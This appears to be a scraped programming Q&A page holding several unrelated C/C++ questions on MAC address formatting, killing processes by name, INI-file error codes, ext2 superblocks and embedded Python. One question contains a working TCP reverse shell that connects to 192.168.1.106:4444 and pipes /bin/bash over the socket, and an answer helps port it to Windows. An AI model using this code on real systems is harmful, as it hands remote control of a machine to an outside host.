Here's my code:
#define _CRT_SECURE_NO_WARNINGS
#pragma warning(disable : 4996)
#pragma comment(lib,"ws2_32.lib")
#include "stdafx.h"
#include <assert.h>
#include "Bootpd.h"
#include <iostream>
#include <string>
#include <iphlpapi.h>
char *MAC() {
PIP_ADAPTER_INFO AdapterInfo;
DWORD dwBufLen = sizeof(AdapterInfo);
char *mac_addr = (char*)malloc(20);
AdapterInfo = (IP_ADAPTER_INFO *)malloc(sizeof(IP_ADAPTER_INFO));
assert(AdapterInfo != NULL); //Error allocating memory
// Make an initial call to GetAdaptersInfo to get the necessary size into the dwBufLen variable
if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == ERROR_BUFFER_OVERFLOW) {
AdapterInfo = (IP_ADAPTER_INFO *)malloc(dwBufLen);
assert(AdapterInfo != NULL);
}
if (GetAdaptersInfo(AdapterInfo, &dwBufLen) == NO_ERROR) {
PIP_ADAPTER_INFO info = AdapterInfo; //Copy information
sprintf(mac_addr, "%02X:%02X:%02X:%02X:%02X:%02X",
info->Address[0], info->Address[1],
info->Address[2], info->Address[3],
info->Address[4], info->Address[5]);
}
free(AdapterInfo);
return mac_addr;
}
I am using VS 2015 on Windows 10. I am trying to format my network adapter's MAC address information to look like a MAC address (aa:bb:cc:dd:ee:ff). I already tried defining _CRT_SECURE_NO_WARNINGS and disabling warning 4996 above my #include statements with no success. Is there anything I am missing, or does anybody know a different work around to get rid of the sprintf error variable may be unsafe? Thanks.
The compiler is complaining about the possibility of overrunning the mac_addr array. Give sprintf_s a shot. https://en.cppreference.com/w/c/io/fprintf
Related
I'm currently working on a c++ project regarding a TCP Remote shell. Therefore I build the following code. As I'm working on windows, I found substitute libraries and headers for all of the following "#include", except for <netinet/in.h>
Thanks for all your help!
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\sys\socket.h>
#include <C:\Visual Studio 2019\libunistd-master\unistd\unistd.h>
#include <Winsock2.h>
//#include <netinet/in.h>
#include <C:\Documents\Visual Studio 2019\libunistd-master\unistd\arpa/inet.h>
int main(void) {
int sockt;
int port = 4444;
struct sockaddr_in revsockaddr;
sockt = socket(AF_INET, SOCK_STREAM, 0);
revsockaddr.sin_family = AF_INET;
revsockaddr.sin_port = htons(port);
revsockaddr.sin_addr.s_addr = inet_addr("192.168.1.106");
connect(sockt, (struct sockaddr*)&revsockaddr,
sizeof(revsockaddr));
dup2(sockt, 0);
dup2(sockt, 1);
dup2(sockt, 2);
char* const argv[] = {"/bin/bash", NULL };
execve("/bin/bash", argv, NULL);
return 0;
}
´´´´´´
Do not try to find a match for your include files from Linux to Windows. Instead, try to compile your code step by step and add those include files that you need. What I can see in the code:
Instead of inet_addr you can use inet_pton that is inside the <Ws2tcpip.h> include file.
Instead of dub2 use _dub2 in windows, that is inside <io.h>.
instead of execve, use std::system.
For some reason I can no longer compile a c file in my c++ clr console application. It worked before without the clr support, I also switched my project to compile as /TP still not working. Any help would be greatly appreciated.
Error
Severity Code Description Project File Line Suppression State
Error C2664 'int strcmp(const char *,const char *)': cannot convert argument 1 from 'WCHAR [260]' to 'const char *'
snowkill.c
#include "snowkill.h"
void killProcessByName(WCHAR *filename)
{
HANDLE hSnapShot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, NULL);
PROCESSENTRY32 pEntry;
pEntry.dwSize = sizeof(pEntry);
BOOL hRes = Process32First(hSnapShot, &pEntry);
while (hRes)
{
if (strcmp(pEntry.szExeFile, filename) == 0)
{
HANDLE hProcess = OpenProcess(PROCESS_TERMINATE, 0,
(DWORD)pEntry.th32ProcessID);
if (hProcess != NULL && pEntry.th32ProcessID != GetCurrentProcessId())
{
TerminateProcess(hProcess, 9);
CloseHandle(hProcess);
}
}
hRes = Process32Next(hSnapShot, &pEntry);
}
CloseHandle(hSnapShot);
}
snowkill.h
#pragma once
#include "stdafx.h"
#include <windows.h>
#include <process.h>
#include <Tlhelp32.h>
#include <winbase.h>
#include <string.h>
#ifdef __cplusplus
extern "C" {
#endif
void killProcessByName(WCHAR *filename);
#ifdef __cplusplus
}
#endif
main.cpp
#include "stdafx.h"
#include "snowkill.h"
#include "motion.h"
#include "info.h"
#include "flushsound.h"
#include "snowserial.h"
using namespace System;
bool on() {
return true;
}
bool off() {
return false;
}
int main()
{
listenoncommport();
for (;;) {
string onoff = checkfile();
if (onoff == "1")
{
//detected();
}
else
{
WCHAR *proccc = L"firefox.exe";
killProcessByName(proccc);
//notdetected();
}
Sleep(5000);
}
return 0;
}
You could change every instance of WCHAR to TCHAR so text setting is "generic", or as already mentioned, change the project property character set to be Unicode only.
void killProcessByName(TCHAR *filename)
/* ... */
if (_tcscmp(pEntry.szExeFile, filename) == 0) /* replaced strcmp */
/* ... */
#include <windows.h> /* needed in order to use TEXT() macro */
/* ... */
TCHAR *proccc = TEXT("firefox.exe"); /* TEXT() is a <windows.h> macro */
Use TCHAR type everywhere if the functions involved are not WCHAR specific. That would allow project setting to build either ANSI/ASCII (not set) or Unicode.
Note that Process32First and Process32Next use TCHAR.
This is mostly for legacy, since Windows 2000 and later API functions use Unicode internally, converting ANSI/ASCII to Unicode as needed, while Windows NT and older API functions use ANSI/ASCII.
However, typically many or most text files (such as source code) are ANSI/ASCII and not Unicode, and it's awkward to have to support Unicode for Windows API and then ANSI/ASCII for text files in the same program, and for those projects I use ANSI/ASCII.
By using the TCHAR based generic types, I can share common code with projects that use Unicode and with projects that use ANSI/ASCII.
The error message is clear: you have an error at this precise line:
if (strcmp(pEntry.szExeFile, filename) == 0)
Because your arguments are not of char* type as expected by strcmp but WCHAR* types. You should use wcscmp instead, which is basically the same function, but working with wchar_t* type.
szExeFile in tagPROCESSENTRY32 is declared as TCHAR, which will be a 1-byte char when compiling with Character Set set to 'Not Set' or 'Multibyte'. Set Character Set in your project settings to Use Unicode Character Set to fix the problem.
Also, use wcscmp to compare WCHAR types.
Here is my code.
char BPP[5];
int result, err;
result = GetPrivateProfileStringA("abc", "cba", NULL, BPP, 5, "D:\\aefeaf.ini"); // result = 0
result = _get_errno(&err); // result = 0, err = 0
result = GetLastError(); // result = 0
And description from MSDN: In the event the initialization file specified by lpFileName is not found, or contains invalid values, this function will set errorno with a value of '0x2' (File Not Found). To retrieve extended error information, call GetLastError.
Last parameter is random, the file is not existed. But GetLastError() still return 0. Could someone explain to me why it didn't return 2?
EDIT: As #JochenKalmbach suggest, I ensure my project is not using C++/CLI. And #claptrap said that errorno is a typo (it should be errno), I add _get_errno to my code above. But still, all the error code return is 0. Any help is much appreciated.
Hopefully you are not using C++/CLI... this will mess up the value of "GetLastError" because the code internally uses "IJW" (it just works) and does a bunch of Win32 operations....
FOr native applications, this works as expected:
#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <crtdbg.h>
int _tmain(int argv, char *argc[])
{
char szStr[5];
int result = GetPrivateProfileStringA("abc", "cba", NULL, szStr, 5, "D:\\aefeaf.ini");
_ASSERTE(result == 0);
result = GetLastError();
_ASSERTE(result == 2);
}
If you are using C++/CLI, then you should surround the method with
#pragma managed(push, off)
// Place the method here
#pragma managed(pop);
I'm going to fetch linux inode bitmaps with c++. I've use this code to fetch super block first:
#include <cstdlib>
#include <linux/ext2_fs.h>
#include <linux/fs.h>
#include <iostream>
#include <stdio.h>
#include <fstream>
#include <fcntl.h>
#include <linux/fs.h>
using namespace std;
/*
*
*/
int main() {
int fd;
char boot[1024];
struct ext2_super_block super_block;
fd = open("/dev/sda1", O_RDONLY);
/* Reads the boot section and the superblock */
read(fd, boot, 1024);
read(fd, &super_block, sizeof (struct ext2_super_block));
/* Prints the Magic Number */
printf("%x\n", super_block.s_magic);
close(fd);
return 0;
}
but every time i run it , i get a error :
In file included from main.cpp:2:0:
/usr/include/linux/ext2_fs.h:181:18: error: ‘S_ISDIR’ was not declared in this scope
/usr/include/linux/ext2_fs.h:183:23: error: ‘S_ISREG’ was not declared in this scope
I couldn't find any good example or tutorial for this.is there anybody to help me?
EDIT :
I've include <linux/stat.h> but still get same error.
#grep -rw S_ISREG /usr/src/linux/include
/usr/src/linux/include/linux/fs.h: if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||
/usr/src/linux/include/linux/fs.h.~1~: if (S_ISREG(inode->i_mode) || S_ISDIR(inode->i_mode) ||
/usr/src/linux/include/linux/stat.h:#define S_ISREG(m) (((m) & S_IFMT) == S_IFREG)
So you should find stat.h in yours kernel source tree and include it.
The Linux source code "stat.h" is not the same file as that comes with the C-library. They just happen to have the same name. You will need to set your include path to find the correct stat.h (you may need BOTH, depending on what you are trying to do).
I created a VCL Application in c++, borland. In my project there is a file where I have implemented embedded python in the methods defined in the same(my application contains a button which calls the method in which embedded python is implemented). when I compile, my build is successful. but when I run my application, and click on the button it shows the run time error : "Access violation at address 1E091375 in module 'PYTHON25.DLL'. Read of address 00000004" . please help.
I have never used Python before.
my program:
#pragma hdrstop
#include <fstream>
#include <iostream>
#include <iomanip>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>
#include "Python.h"
#include "Unit1.h"
#include "Unit2.h"
#pragma link "python25_bcpp.lib"
//---------------------------------------------------------------------------
#pragma package(smart_init)
bool callHelloWorld(int intVal)
{
char fName[] = "Hello"; //file name
char cFunc[] = "hello"; //method name
char *pfName, *pcFunc;
PyObject *pName, *pModule, *pDict, *pFunc ;
pfName = fName;
pcFunc = cFunc;
Py_Initialize();
pName = PyString_FromString(pfName);
pModule = PyImport_Import(pName);
pDict = PyModule_GetDict(pModule);
pFunc = PyDict_GetItemString(pDict, pcFunc);
if (PyCallable_Check(pFunc))
{
PyObject_CallObject(pFunc, NULL);
} else
{
PyErr_Print();
}
// Py_DECREF(pModule);
// Py_DECREF(pName);
Py_Finalize();
return 0;
}
Check the return values of PyImport_Import (is the module in the search path?) and PyDict_GetItemString.
If that doesn't help put some trace messages in your app to see where it crashes.
This works for me:
Just delete Py_Finalize()
I read in another site that Py_Finalize has some problems in specific cases such as threading.